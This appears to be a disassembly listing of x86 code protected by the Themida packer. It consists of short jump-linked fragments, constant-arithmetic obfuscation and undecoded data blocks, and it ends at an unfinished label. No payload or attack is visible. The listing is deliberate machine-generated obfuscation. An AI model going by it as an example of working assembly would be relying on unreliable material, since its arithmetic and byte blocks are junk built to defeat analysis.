loc_558695: ; CODE XREF: Themida_:0055CFDDj
pop edi
sub [esp+4], ebp
jmp loc_54EA62
; ---------------------------------------------------------------------------
db 0F6h
dd 0E99C241Ch, 0FFFFE7E9h, 8324048Bh, 2C8B04C4h, 4C48124h
dd 68000000h, 2084h, 68241489h, 736Bh, 0E9243489h, 246Dh
dd 0F587D6F7h, 5086E9h, 0E5E95A00h
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5586DB: ; CODE XREF: Themida_:00550E6Aj
xchg edx, [esp]
pop esp
xor ebx, edx
jmp loc_55B9D4
; ---------------------------------------------------------------------------
dw 65B4h
dd 53A4CC80h, 99E93AB7h, 5DFFFF9Bh, 65F0E9h
db 0
; ---------------------------------------------------------------------------
loc_5586F9: ; CODE XREF: Themida_:0054E9FDj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_55FE69
; ---------------------------------------------------------------------------
loc_55870D: ; CODE XREF: Themida_:00558282j
pop ecx
add ebp, ebx
push dword ptr [esp]
jmp loc_55D60A
; ---------------------------------------------------------------------------
dd 0A1EA20Dh, 0FBF572Eh, 92A237Eh, 2565E9F8h, 0F1010000h
dd 8124348Bh, 4C4h, 4BF5700h, 53000000h, 339EE9h
db 0
; ---------------------------------------------------------------------------
loc_558741: ; CODE XREF: Themida_:00555CDCj
mov edi, [esp]
add esp, 4
add edx, 9E9A51h
jmp loc_553C1E
; ---------------------------------------------------------------------------
aN1Qsk db '1ØQéŠ=',0
db 0
; ---------------------------------------------------------------------------
loc_55875B: ; CODE XREF: Themida_:0055CB24j
shl ebx, 3
sub ebx, 47346BBh
dec ebx
xor ebx, 25E42313h
add ebx, 0E2FC269Bh
xor edi, ebx
pop ebx
and ebp, edi
pop edi
push edi
mov edi, 79647FE7h
xor edi, 7B47730Bh
shl edi, 7
sub edi, 51733EFFh
dec edi
push eax
jmp loc_55B16F
; ---------------------------------------------------------------------------
db 89h
dd 0B951243Ch, 6EC51D18h, 41E9E987h
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5587A3: ; CODE XREF: Themida_:0055F7F6j
push ebp
push edi
sub esp, 4
mov [esp], esi
jmp loc_5608DC
; ---------------------------------------------------------------------------
db 0FFh
dd 348B2434h, 6AC7E924h, 0E835FFFFh, 8965DC56h, 0CDFCE9C7h
dd 0E95CFFFFh, 0F72h, 57D3F75Bh, 0F75ADABFh, 5FFB210Fh
dd 0FFD13BE9h, 0BAD2DFFh, 0C10902B3h, 55C18158h, 0E922021Ah
dd 0FFFFFD04h
; ---------------------------------------------------------------------------
loc_5587F4: ; CODE XREF: Themida_:0055FB6Fj
push 4274h
mov [esp], ebx
push 0D076EB25h
mov ebx, [esp]
add esp, 4
xor esi, ebx
pop ebx
add ebx, esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_5624CF
; ---------------------------------------------------------------------------
db 0B5h
dd 59E8006Dh, 0EC81D828h, 4, 81241C89h, 4ECh, 0DA4EE900h
dd 505DFFFFh, 42474FFh, 24048F58h, 4EC815Ch, 89000000h
dd 0EBB9240Ch, 0E955AB60h, 244Bh, 242C895Ch, 0D2E9C589h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55885B: ; CODE XREF: Themida_:00552501j
push dword ptr [esp]
jmp loc_55517D
; ---------------------------------------------------------------------------
db 2Ch
dd 37E95151h
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55886B: ; CODE XREF: Themida_:0054E3C7j
mov ch, 0D8h
jmp loc_552CC6
; ---------------------------------------------------------------------------
loc_558872: ; CODE XREF: Themida_:0056099Fj
push eax
jmp loc_5529B9
; ---------------------------------------------------------------------------
dd 8B2434FFh, 3BE92404h, 1FFFFE1h, 0D0C381EBh, 5D148728h
dd 517EE9h, 0E9772C00h, 0FFFF9FEBh
; ---------------------------------------------------------------------------
loc_558898: ; CODE XREF: Themida_:00550FCEj
mov ebx, 7F8530E5h
push ebp
mov ebp, 105CF2A0h
sub ebx, ebp
pop ebp
add ebp, ebx
pop ebx
and ebp, 20EF7C11h
add ebp, 78083A65h
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
sub edx, eax
jmp loc_5510E7
; ---------------------------------------------------------------------------
db 5
dd 4, 0E9240487h, 98FDh, 4EC81h, 3C890000h, 56496824h
dd 24890000h, 24048124h, 4, 4EC835Fh, 81243489h, 4ECh
dd 240C8900h, 7A169F68h, 75B1E933h, 0EA830000h, 0BEF28101h
dd 817BFEEBh, 0F15571C6h, 14EE8121h, 8129AD27h, 6D2BB1C6h
dd 0E9D60119h, 0FFFF8BB3h, 0E9240489h, 0FFFF8E1Fh, 0BFE9C229h
db 74h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55893B: ; CODE XREF: Themida_:00557FDFj
pop ecx
push 0C17h
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_5559AC
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 2BBh, 5BD90100h, 0A5B68h, 4BEFE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558966: ; CODE XREF: Themida_:00556254j
add ebx, 215E1DF6h
sub ebx, esi
sub ebx, 215E1DF6h
jmp loc_55CF55
; ---------------------------------------------------------------------------
db 0E9h, 47h, 54h
dd 0C31FFFFh, 240C3324h, 242C895Ch, 168h, 242C8B00h, 0E904C483h
dd 0FFFFA3C8h, 362268h, 242C8900h, 3606E9h, 5BD80100h
dd 0FF83A3E9h, 27C181FFh, 8146AD4Bh, 9C74B8C1h, 49BB5333h
dd 0E9617D52h, 0FFFFC5E2h, 24048B66h, 685F5457h, 2741h
dd 0E9240489h, 87C3h, 0FDE9CDFEh, 89FFFFFBh, 0B8502434h
dd 312D0296h, 4034B805h, 0F406E964h, 0D400FFFFh, 0FFF368E9h
dd 1F24BFFFh, 15E91239h, 0C1FFFF5Ah, 814608EEh, 476764C6h
dd 5EF30973h, 1805B850h, 0C3018C50h, 0FF9549E9h, 0F665CFFh
dd 9C2404BBh, 33EAE9h, 0B1EF8000h, 0C780CF28h, 0AE959B1h
db 6Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558A37: ; CODE XREF: Themida_:00557983j
not dword ptr [esp]
jmp loc_561F23
; ---------------------------------------------------------------------------
loc_558A3F: ; CODE XREF: Themida_:0055E2CFj
xor eax, ebx
jmp loc_561488
; ---------------------------------------------------------------------------
dw 77FFh
dd 58669D1Ch, 9C240410h, 0FF5370E9h, 5AD788FFh, 524FEF80h
dd 0DAF661B2h, 3997E9h, 0E9DE0100h, 0FFFF8FBCh
; ---------------------------------------------------------------------------
loc_558A6C: ; CODE XREF: Themida_:0054F844j
not ebx
shl ebx, 8
xor ebx, 0D916B39Dh
sub ebp, ebx
jmp loc_555576
; ---------------------------------------------------------------------------
dw 1CBBh
dd 0F7498307h, 37BF57D3h, 955A232h, 814B5FFBh, 400E5BCBh
dd 2EC3816Ah, 2139DE27h, 0BA525BDEh, 110C2427h, 70E9D631h
dd 81FFFF5Fh, 4E9h, 240C8700h, 0FFB254E9h, 243489FFh, 0B8505E54h
dd 4, 674CBA52h, 25E91BBEh, 5AFFFF90h, 8704C583h, 685C242Ch
dd 2C36h, 0BD242C89h, 33F5389Eh, 5FE9DDF7h, 66000004h
dd 66390D68h, 0F581665Dh, 8966390Fh, 51665DE9h, 2EC81h
dd 89660000h, 0B8662404h, 0B5E975ACh, 2500000Eh, 3B556E32h
dd 0FFE53CE9h, 0DCBD55FFh, 533E5341h, 3D07E9h, 4C5DB900h
dd 0C1811C72h, 40452000h, 0FFD7B8E9h, 0E9C701FFh, 0FFFFEC4Ch
dd 8105E9C1h, 4503E0E9h, 72AD0503h, 0C8296E62h, 6272AD2Dh
dd 5648596Eh, 3D1921BEh, 0F7D6F76Dh, 4FF681D6h, 816D6441h
dd 0F35F10C6h, 49C68113h, 3104E7A3h, 93BDE9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558B76: ; CODE XREF: Themida_:0055C274j
or edx, eax
jmp loc_54DDE9
; ---------------------------------------------------------------------------
loc_558B7D: ; CODE XREF: Themida_:00562492j
add eax, 1F3495DCh
mov edi, eax
pop eax
sub edi, 7A526B0Bh
sub edi, edx
push esi
mov esi, 3EE96210h
inc esi
neg esi
jmp loc_54DEFB
; ---------------------------------------------------------------------------
loc_558B9B: ; CODE XREF: Themida_:0055BD22j
mov ebx, 467D3864h
xor [esp+4], ebx
jmp loc_560D26
; ---------------------------------------------------------------------------
db 0ACh, 53h, 50h
dd 0FFE145E9h, 241C89FFh, 4EC81h, 0C890000h, 24A0E924h
dd 0F0290000h, 6B785D2Dh, 64E95E5Ch
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558BCF: ; CODE XREF: Themida_:005534D7j
add edx, 4
jmp loc_55DB7B
; ---------------------------------------------------------------------------
loc_558BDA: ; CODE XREF: Themida_:0054ED6Fj
mov ebx, 4
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
jmp loc_562513
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E9502404h, 0FFFF9DA2h
; ---------------------------------------------------------------------------
loc_558C04: ; CODE XREF: Themida_:0056251Dj
mov [esp], ecx
mov ecx, esp
push ebp
mov ebp, 7BEF48DAh
shl ebp, 7
neg ebp
sub esp, 4
mov [esp], edi
jmp loc_55A454
; ---------------------------------------------------------------------------
loc_558C1F: ; CODE XREF: Themida_:005627F3j
pop ebp
xor edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_55AC81
; ---------------------------------------------------------------------------
dw 335Ah
dd 0F8E9241Ch
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558C37: ; CODE XREF: Themida_:00555C3Cj
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg edi, [esp]
mov esp, [esp]
jmp loc_55512E
; ---------------------------------------------------------------------------
db 50h
dd 33C2BD55h, 0F581662Eh, 700212C7h, 381ED81h, 0DDF763C4h
dd 4EC81h, 14890000h, 4EC8124h, 89000000h, 0DC68240Ch
dd 596F310Ch, 1F64C981h, 0FEE9742Dh
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558C83: ; CODE XREF: Themida_:005627BFj
add edi, ecx
pop ecx
push 288Ah
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push ebp
mov ebp, esp
jmp loc_55C208
; ---------------------------------------------------------------------------
db 80h, 0C7h, 0C6h
dd 0E95BFC28h, 6BE2h
; ---------------------------------------------------------------------------
loc_558CAC: ; CODE XREF: Themida_:00554DECj
xor ebx, 47BA3A4Bh
jmp loc_551927
; ---------------------------------------------------------------------------
db 21h
dd 0BA5258C6h, 6EA955D2h, 6E09CA81h, 0EA811B28h, 59B32696h
dd 0FF6F26E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558CD1: ; CODE XREF: Themida_:00556AD7j
mov edx, 31F170CFh
push ebp
mov ebp, 6C4702DBh
xor edx, ebp
jmp loc_55C09F
; ---------------------------------------------------------------------------
db 89h
dd 4C181E1h, 57000000h, 4BFh, 0E9F90100h, 4D78h
; ---------------------------------------------------------------------------
loc_558CF8: ; CODE XREF: Themida_:00562101j
pop ebp
push 512Bh
jmp loc_55CA7B
; ---------------------------------------------------------------------------
db 81h
dd 5256C8EFh, 52C70157h, 5256C8BAh, 5AD70157h, 0E9FD0158h
dd 0FFFF65E1h, 617DEA81h, 0F2817CCFh, 5D645108h, 5D02C281h
dd 0D729B543h, 0FFEF815Ah, 81FFFFFFh, 0FC4924EFh, 8BF901B0h
dd 0C483243Ch, 9EE95A04h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558D4B: ; CODE XREF: Themida_:0055DF97j
mov edi, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
loc_558D5B: ; CODE XREF: Themida_:005542C0j
sub esp, 4
mov [esp], ebx
jmp loc_552E0B
; ---------------------------------------------------------------------------
loc_558D69: ; CODE XREF: Themida_:00553134j
mov [esp], ecx
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_558D71: ; CODE XREF: Themida_:00560249j
pop ecx
jmp loc_55D1B4
; ---------------------------------------------------------------------------
db 59h
dd 5704C483h, 0E33D55BFh, 8EFC172h, 0A4CBA52h, 0D72948AFh
dd 0EDEF815Ah, 0E9B7C3D8h, 5D88h, 436FED81h, 0F7450CC5h
dd 28ED81D5h, 216ED8F0h, 0F945E9E9h, 0D2F7FFFFh, 136EA81h
dd 0D1292188h, 0E9F1015Ah, 911Eh, 4240483h, 5D2434FFh
dd 81E38953h, 4C3h, 4C38100h, 87000000h, 1CE9241Ch, 81000062h
dd 4C4h, 0EAE95300h, 58000039h, 0F43C681h, 0DE292AFCh
dd 0FF8D55E9h, 241489FFh, 41B95153h, 0BB45C018h, 9256BE1h
dd 5359CB31h, 0FFE119E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558E11: ; CODE XREF: Themida_:00550B23j
pop edi
add edi, 4
push esi
mov esi, 4
add edi, esi
mov esi, [esp]
add esp, 4
push 643Ch
mov [esp], edi
jmp loc_557FFE
; ---------------------------------------------------------------------------
db 30h
dd 0F58058C5h, 9008E961h, 0E95EFFFFh, 0FFFFCC30h, 83242C8Bh
dd 54E904C4h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558E4F: ; CODE XREF: Themida_:0055B459j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_54FB98
; ---------------------------------------------------------------------------
loc_558E66: ; CODE XREF: Themida_:0055C6AAj
mov [esp], ebx
jmp loc_561465
; ---------------------------------------------------------------------------
dw 0F809h
dd 605405Fh, 0E9426122h, 0FFFF7825h, 33241431h, 0AE92414h
dd 83FFFFB7h, 896602ECh, 99B22414h, 5A66D300h, 6E4A6866h
dd 24048966h, 0FFA5C3E9h, 8ABB53FFh, 1D6E1EFh, 0EF815BDAh
dd 5BB44013h, 40ADEF81h, 0D7291BFCh, 40ADC781h, 0BFE91BFCh
dd 33FFFF95h, 4312404h, 24043324h, 0E924248Bh, 4554h
; ---------------------------------------------------------------------------
loc_558ED4: ; CODE XREF: Themida_:0055DB81j
pop esp
push 1678h
mov [esp], edi
mov edi, esp
add edi, 4
push ebx
push ecx
jmp loc_55B450
; ---------------------------------------------------------------------------
dd 8904EC83h, 69682404h, 5860CB60h, 37B1E992h, 6C810000h
dd 32930424h, 6C81180Dh, 29450424h, 740152DFh, 44810424h
dd 29450424h, 448152DFh, 32930424h, 348B180Dh, 4C48324h
dd 0FF54C0E9h, 4EC81FFh, 89000000h, 0E9562404h, 0FFFFF30Dh
dd 0B60F6664h, 6F686602h, 3FB6E946h, 8680000h, 89000010h
dd 0BB532404h, 6D2D26F8h, 81D3F74Bh, 50FB2CBh, 4564E925h
dd 0BA520000h, 7EDF72E3h, 495AD109h, 5A32E9h, 0F2815C00h
dd 816CB4DCh, 4EC81h, 2C890000h, 5909BD24h, 0F581240Ah
dd 39C647B0h, 555DE945h, 0E9C0FFFFh, 70685008h, 89000023h
dd 0B252241Ch, 88535107h, 5BFD88D7h, 5A59EB88h, 191D68h
dd 241C8900h, 8D15E9h, 1C51BE00h, 0F5896981h, 4EDC15Eh
dd 5B1E9h, 0EF815F00h, 84721618h, 15FF801h, 5959E9C6h
dd 568FFFFh, 89000028h, 1A682404h, 89000060h, 0FEBE2434h
dd 0E9000000h, 0FFFFED93h
; ---------------------------------------------------------------------------
loc_558FF8: ; CODE XREF: Themida_:005593A1j
push ax
jmp loc_562393
; ---------------------------------------------------------------------------
db 5Bh
dd 5D545558h, 4C581h, 0ED830000h, 74FF5504h, 8F5D0424h
dd 4CE92404h, 33FFFFC1h, 248B2404h, 0E9505224h, 5ED9h
dd 0BCE9C601h, 8FFFFF6Fh, 665C2404h, 6824048Bh, 72F9h
dd 54243C89h, 0FFE64CE9h, 58C101FFh, 47E9D9F7h, 80FFFF8Fh
dd 88E989C6h, 29FFFF59h, 0F18959CEh, 0FF571DE9h, 0C4CE81FFh
dd 0E950B37Bh, 0FFFFF997h, 0E9243489h, 0FFFFC0CBh
; ---------------------------------------------------------------------------
loc_559074: ; CODE XREF: Themida_:0055FC9Cj
not eax
push esi
mov esi, 41465EC9h
sub eax, esi
pop esi
push 144Ch
mov [esp], ebp
mov ebp, 66FE011Dh
push eax
jmp loc_55BB74
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48324h, 0E9243C87h, 0FFFFF97Dh, 8B2434FFh, 0C481241Ch
dd 4, 0E904C483h, 5231h, 0B6241489h, 0B15166EEh, 66CE2016h
dd 80D6F659h, 0D6F6B5C6h, 8024EE80h, 0F33072C6h, 6C40E95Ah
dd 0E9AC0000h, 7CE3h, 0F380DBF6h, 5BDC0825h, 88D6EC80h
dd 24048BE3h, 5204C483h, 0EEC05BB6h, 1C68005h, 0FFBDC3E9h
dd 0B60F66FFh, 0E5686602h, 4896658h, 4CB7E924h, 3B05FFFFh
dd 5E58E32Fh, 0E9240433h, 0FFFF7A5Ah, 8F685152h, 0FF284455h
dd 0E9592434h, 5D87h, 0D110A22Dh, 0C5315A53h, 8324048Bh
dd 0BA5204C4h, 1C9A41D4h, 4EC81h, 0C890000h, 7628B924h
dd 0E981646Bh, 0FFFFFFFFh, 1C181h, 14E90000h, 57FFFF63h
dd 0E952E789h, 0FFFF8F32h
; ---------------------------------------------------------------------------
loc_559168: ; CODE XREF: Themida_:00552691j
push esi
push ebx
mov ebx, 1F95076Dh
or ebx, 7E780BEEh
jmp loc_555D32
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 592434FFh, 2FF5E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55918A: ; CODE XREF: Themida_:0055B933j
pop edi
push 7DECh
mov [esp], ebp
push edx
jmp loc_56189B
; ---------------------------------------------------------------------------
loc_559199: ; CODE XREF: Themida_:0055CA53j
mov esi, edx
pop edx
jmp loc_561B6A
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C48359h, 0E950CC80h, 0FFFF6847h, 8D340A05h, 40D8F776h
dd 4004E9h, 0ABE95F00h, 89FFFFA3h, 273868E6h, 94E90000h
dd 2DFFFFDCh, 37160264h, 0EA76F90Dh, 7E22E911h, 3C89FFFFh
dd 0E95F5424h, 2CCDh, 0F3685366h, 89000048h, 0FDB42404h
dd 887FF480h, 42E958E3h, 0BAFFFF58h, 4, 2B69ED81h, 0D5015F36h
dd 2B69C581h, 335A5F36h, 2C31242Ch, 7AB5E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55921E: ; CODE XREF: Themida_:00558244j
mov edx, esi
jmp loc_561FC5
; ---------------------------------------------------------------------------
db 29h, 0DEh, 5Bh
dd 0FF584FE9h, 5FFD01FFh, 34FFE831h, 0C4835D24h, 4EC7E904h
dd 50530000h, 0FFED5BE9h, 240C33FFh, 4FF665Ch, 68E99C24h
dd 80FFFFBCh, 0E95ADBC3h, 696Ch
; ---------------------------------------------------------------------------
loc_55925C: ; CODE XREF: Themida_:00560F7Bj
push small 444Ah
mov [esp], dx
push 6D08h
mov [esp], ecx
mov cl, 2Ch
add cl, 0FFh
xchg dh, cl
dec dh
jmp loc_554F15
; ---------------------------------------------------------------------------
dw 0F801h
dd 7B254E2Dh, 0F15053Ah, 0BA52400Fh, 397D0249h, 5608E2C1h
dd 8D1DC1BEh, 5EF22974h, 148BD029h, 4C48324h, 5F2434FFh
dd 0FF8988E9h, 405FFh, 7E90000h
db 59h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5592B3: ; CODE XREF: Themida_:005523D0j
xchg esi, [esp]
jmp loc_557170
; ---------------------------------------------------------------------------
db 0BDh
dd 17132CC3h, 0EDC1D5F7h, 0E8E58106h, 8156E275h, 143F63C5h
dd 4AE58118h, 81523403h, 0CBFFFAC5h, 5DEF01EDh, 5C243C87h
dd 4EC81h, 4890000h, 5E08924h, 4, 910CE9h
db 0
; ---------------------------------------------------------------------------
loc_5592F9: ; CODE XREF: Themida_:00557A7Ej
mov esp, [esp]
mov [esp], edi
push 80000h
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_554F75
; ---------------------------------------------------------------------------
db 87h
dd 248B243Ch, 241C8924h, 7E0EBF57h, 0E2BB3031h, 31478508h
dd 0BA525FFBh, 78940879h, 0FCBE281h, 81422357h, 765109F2h
dd 0D6BD5557h, 0E90C3154h, 6B3Dh, 0C781E789h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
jmp loc_550FBE
; ---------------------------------------------------------------------------
db 2Dh, 4Fh, 41h
dd 2AE9918Dh
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55936F: ; CODE XREF: Themida_:0055F8E1j
push dword ptr [esp]
jmp loc_5505AC
; ---------------------------------------------------------------------------
loc_559377: ; CODE XREF: Themida_:00554650j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov bl, 23h
mov cl, bl
pop ebx
mov bl, 45h
add bl, cl
mov ecx, [esp]
add esp, 4
jmp loc_558FF8
; ---------------------------------------------------------------------------
dw 8851h
dd 9AA4E9F5h, 0EA81FFFFh, 499D3BC5h, 0FF6B67E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5593B9: ; CODE XREF: Themida_:0055837Ej
pop edx
sub eax, 4EBE1FD5h
sub eax, edi
add eax, 4EBE1FD5h
jmp loc_552D8A
; ---------------------------------------------------------------------------
aIuhiv db '‰ãh©V',0
align 2
dw 0C89h
dd 18C6B924h, 0E981253Bh, 3D7E03C9h, 162AE949h, 0CB810000h
dd 6411B6Bh, 5608EBC1h, 52CEE9h, 4077FF00h, 0FF49C8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5593FD: ; CODE XREF: Themida_:00557827j
pop ecx
sub [edi+24h], ebx
push dword ptr [esp]
jmp loc_55BCE8
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0FFB37EE9h, 3EDC1FFh, 211ACD81h, 0CD814D88h, 6539175Eh
dd 0ADA4F581h, 9D056973h, 16A6A19h, 199D2DE8h, 2D5D6A6Ah
dd 198C4995h, 9505E801h, 2D198C49h, 6881A5Bh, 83242C8Bh
dd 43304C4h, 24043124h, 8B240433h, 0E9F62424h, 0CCB60F66h
dd 0FFF477E9h, 4C483FFh, 263FE9h
db 0
; ---------------------------------------------------------------------------
loc_559469: ; CODE XREF: Themida_:00553B07j
mov edx, [esp]
add esp, 4
add ebx, 1C8A18A4h
pop ebp
push ecx
mov ecx, 5C5F879h
add ebx, 26371EA3h
jmp loc_55781F
; ---------------------------------------------------------------------------
loc_55948A: ; CODE XREF: Themida_:0055BBA3j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5508C5
; ---------------------------------------------------------------------------
db 8Fh
dd 0D35C2404h, 0E99C240Ch, 0FFFF4919h, 33240C31h, 0C31240Ch
dd 6FE3E924h, 9CBA0000h, 0E9086D18h, 0FFFFB3A6h, 52EFF281h
dd 0D5295772h, 0EAED815Ah, 0E94F3C46h, 120Bh
; ---------------------------------------------------------------------------
loc_5594D8: ; CODE XREF: Themida_:0055D6E8j
push dword ptr [esp]
pop edi
add esp, 4
push ebp
mov ebp, 579D2DBEh
add edx, ebp
pop ebp
push edi
mov edi, 2C0901B1h
sub edx, edi
mov edi, [esp]
add esp, 4
sub ebx, edx
pop edx
add ebx, edi
add ebx, 35042C3Dh
push 31EFh
mov [esp], eax
sub esp, 4
mov [esp], edi
mov edi, 0
mov eax, edi
pop edi
push ebp
jmp loc_55DC6D
; ---------------------------------------------------------------------------
loc_559520: ; CODE XREF: Themida_:0054F64Cj
xchg eax, esi
xor eax, ebp
xor ebp, eax
xor eax, ebp
xor ebp, eax
xor eax, ebp
xor ebp, eax
not eax
xchg eax, ebp
jmp loc_55B56B
; ---------------------------------------------------------------------------
db 81h, 0C2h, 7Bh
dd 5D16FF2Ah, 6EB1E9h, 2EDC100h, 0D47EF581h, 0EB892EDAh
dd 0FF50C3E9h, 243C89FFh, 6852E789h, 1460h, 68241C89h
dd 4F99h, 0B9240C89h, 4, 0E95A5152h, 0FFFFC10Ch, 561211B8h
dd 931DE920h, 0B951FFFFh, 73F95FE1h, 2959CD31h, 42E95DE9h
dd 81000092h, 0FFFFFFEDh, 0F2BB53FFh, 1537457h, 0E5815BDDh
dd 2C006012h, 1006C581h, 0ED810338h, 0BFB595E3h, 555DEB89h
dd 0F21B65BDh, 8BEB293Fh, 0C483242Ch, 4E3C104h, 6F75E9h
dd 5AEBD00h, 0D3E9319Ah, 1FFFFC5h, 0E8295EF5h, 7108E9h
db 0
; ---------------------------------------------------------------------------
loc_5595DD: ; CODE XREF: Themida_:00561C79j
neg ebp
jmp loc_55C77F
; ---------------------------------------------------------------------------
loc_5595E4: ; CODE XREF: Themida_:0055820Ej
add esp, 4
neg ebx
push ebp
mov ebp, 0D540683h
sub ebx, 1C8A18A4h
sub ebx, 708721C3h
add ebx, 20BC3B1Ah
sub ebx, ebp
sub ebx, 20BC3B1Ah
push edx
jmp loc_553B00
; ---------------------------------------------------------------------------
db 55h
dd 548577BDh, 67B82DD6h, 942D6F2Fh, 296EC650h, 509405E8h
dd 52556EC6h, 71659DBAh, 21BBD77h, 0D501F7BEh, 5DE8015Ah
dd 0E9242C8Bh, 0FFFF84D2h
; ---------------------------------------------------------------------------
loc_559640: ; CODE XREF: Themida_:00556D42j
dec ecx
inc ecx
dec ecx
add ecx, 0DED5CE47h
add ebx, ecx
pop ecx
jmp loc_55EED6
; ---------------------------------------------------------------------------
db 33h, 4, 24h
dd 0E9240431h, 4602h, 12C7815Ah, 0E93D1822h, 0FFFFD42Ch
dd 50A6F181h, 6DE969ADh
db 4Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559673: ; CODE XREF: Themida_:00550F9Bj
xor edx, 2EAA14FFh
inc edx
jmp loc_55369F
; ---------------------------------------------------------------------------
db 81h
dd 5DF7EDF7h, 5FF989DEh, 6FCDE9h
db 0
; ---------------------------------------------------------------------------
loc_55968D: ; CODE XREF: Themida_:0054F7A7j
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 5A376838h
add ebx, 23BD240Fh
dec ebx
or ebx, 67926F71h
add ebx, 82C51EEAh
xor esi, ebx
pop ebx
xor eax, esi
pop esi
shl eax, 7
push ebp
mov ebp, 6A10B002h
add eax, ebp
pop ebp
add ecx, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_557AB2
; ---------------------------------------------------------------------------
loc_5596D1: ; CODE XREF: Themida_:00561185j
mov esi, esp
jmp loc_55DB2E
; ---------------------------------------------------------------------------
loc_5596D8: ; CODE XREF: Themida_:005562E2j
mov ecx, [esp]
add esp, 4
push ebx
push esi
jmp loc_555F5F
; ---------------------------------------------------------------------------
loc_5596E5: ; CODE XREF: Themida_:0054F4F2j
mov ecx, 4C3D37E0h
sub ebx, ecx
pop ecx
xor ebx, 3F71E120h
sub edx, ebx
jmp loc_557EB9
; ---------------------------------------------------------------------------
loc_5596FA: ; CODE XREF: Themida_:00550B11j
push eax
mov eax, 7BDF77DFh
jmp loc_55D9B1
; ---------------------------------------------------------------------------
db 0BDh, 62h, 28h
dd 0F58137A1h, 1D1363BAh, 4A70E9h
db 0
; ---------------------------------------------------------------------------
loc_559715: ; CODE XREF: Themida_:005564CCj
xchg esi, edi
xor edi, 4AB6E40Bh
add eax, edi
pop edi
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
pop esp
shl eax, cl
sub esp, 4
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp loc_550392
; ---------------------------------------------------------------------------
dw 0F66h
dd 9C2404ABh, 0FF4678E9h, 24048BFFh, 4C481h, 6CE90000h
dd 33FFFFE1h, 34312434h, 24343324h, 5DBFE9h
db 0
; ---------------------------------------------------------------------------
loc_559769: ; CODE XREF: Themida_:00552CF2j
mov [esp], edi
mov edi, 1B5070BDh
jmp loc_55CB3D
; ---------------------------------------------------------------------------
loc_559776: ; CODE XREF: Themida_:0055D630j
movzx cx, ah
push 465Ah
mov [esp], ebx
jmp loc_554388
; ---------------------------------------------------------------------------
db 5Dh
dd 4BB53h, 0DD010000h, 0E9241C8Bh, 584h, 0DAEA815Ch, 160C92Bh
dd 0B164E9CAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5597A6: ; CODE XREF: Themida_:00550222j
mov esi, esp
push eax
mov eax, 4
jmp loc_56121E
; ---------------------------------------------------------------------------
loc_5597B3: ; CODE XREF: Themida_:0055AFC8j
mov ecx, 36CA1A31h
xor ebx, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
or edx, ebx
pop ebx
jmp loc_55115C
; ---------------------------------------------------------------------------
loc_5597D5: ; CODE XREF: Themida_:0055027Aj
push 7CB8h
mov [esp], ebp
sub esp, 4
mov [esp], eax
jmp loc_557FB0
; ---------------------------------------------------------------------------
dd 8324348Bh, 2C8904ECh, 0E6895624h, 4C681h, 82E90000h
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5597FF: ; CODE XREF: Themida_:0055E055j
add ecx, 4
push edi
mov edi, 102E3BB0h
and edi, 1D78783Bh
jmp loc_557511
; ---------------------------------------------------------------------------
loc_559816: ; CODE XREF: Themida_:00556DEAj
